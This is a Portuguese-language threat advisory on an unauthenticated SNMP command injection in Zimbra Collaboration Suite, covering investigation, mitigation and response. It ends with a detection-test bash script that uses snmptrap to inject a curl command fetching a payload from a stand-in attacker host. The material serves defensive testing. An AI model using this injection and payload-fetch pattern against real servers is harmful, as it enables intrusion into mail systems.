CVE-2026-73570: Injeção de Comando Não Autenticada Alveja Servidores de E-mail Expostos à Internet

Resumo

Os agentes de ameaça estão explorando ativamente o CVE-2026-73570, uma vulnerabilidade de injeção de comandos do sistema operacional não autenticada no caminho de notificação SNMP do Zimbra Collaboration Suite. A exploração bem-sucedida pode permitir que invasores implantem webshells JSP, estabeleçam shells reversos e escalem privilégios. A campanha observada combina a entrega automatizada de payloads com atividades diretas focadas em roubar dados de e-mail e autenticação.

Investigação

A Microsoft Threat Intelligence rastreou a exploração por meio de telemetria e examinou várias etapas do ataque, incluindo reconhecimento, acesso inicial, persistência e escalonamento de privilégios. Os investigadores observaram sondas fora de banda usadas para confirmar a execução de comandos por meio de subdomínios específicos. A análise também revelou um complexo escalonamento de privilégios envolvendo ajudantes do serviço Zimbra e múltiplos mecanismos de persistência, incluindo serviços systemd e tarefas cron.

Mitigação

As organizações devem atualizar imediatamente o Zimbra Collaboration Suite para a versão 10.1.20 ou posterior para corrigir a vulnerabilidade. Se a aplicação do patch não puder ser concluída prontamente, desinstale o opcional zimbra-snmp pacote e desative as notificações SNMP. As equipes de segurança também devem restringir o acesso SMTP e SNMP a hosts confiáveis e girar todos os segredos de autenticação do Zimbra.

Resposta

Trate alertas de shell reverso em servidores de e-mail voltados para a internet como incidentes de alta prioridade que exigem escopo rápido e revisão de credenciais. Inspecione os diretórios de aplicação Zimbra e servlet-work em busca de arquivos JSP inesperados ou permissões recentemente modificadas. Revise unidades systemd para alterações suspeitas de propriedade ou atividade de timestomping e gire todos os domínios zimbraPreAuthKey valores.

Execução de Simulação

• Narrativa e Comandos do Ataque: O adversário identifica um servidor de e-mail Zimbra voltado para a internet e explora uma vulnerabilidade (CVE-2026-73570) no processamento de notificação SNMP. Ao enviar um pacote especialmente elaborado, eles injetam metacaracteres de shell que fazem o serviço SNMP executar um comando. O objetivo do invasor é baixar um payload secundário para estabelecer persistência. Eles usam curl para buscar um script de um servidor remoto, que deve acionar a Lógica na Regra de Detecção. Script de Teste de Regressão:

• Regression Test Script:

  #!/bin/bash
  # Simulação de exploração CVE-2026-73570 via injeção de trap SNMP
  # Este script simula a injeção de um comando 'curl' em uma mensagem de trap SNMP.
  
  TARGET_IP="127.0.0.1"
  COMMUNITY="public"
  # O payload malicioso destinado a ser pego pela regra
  MALICIOUS_COMMAND="curl http://attacker.com/malware.sh -o /tmp/malware.sh"
  
  echo "[+] Simulando Injeção de Comando via Trap SNMP..."
  
  # Usamos snmptrap para imitar a chegada de um trap elaborado contendo a string 'curl'
  # Em um exploit real, isso seria enviado por meio de um pacote SMTP/SNMP mal formado
  snmptrap -v 2c -c $COMMUNITY $TARGET_IP '' 1.3.6.1.4.1.8072.2.3.0.1 1.3.6.1.4.1.8072.2.3.0.2 s "$MALICIOUS_COMMAND"
  
  echo "[+] Comando de simulação enviado. Verifique o SIEM para o alerta: Injeção de Comando Não Autenticada via SNMP em Zimbra"

• Comandos de Limpeza:

  # Remove qualquer arquivo criado durante a simulação (se houver)
  rm -f /tmp/malware.sh
  echo "[+] Limpeza concluída."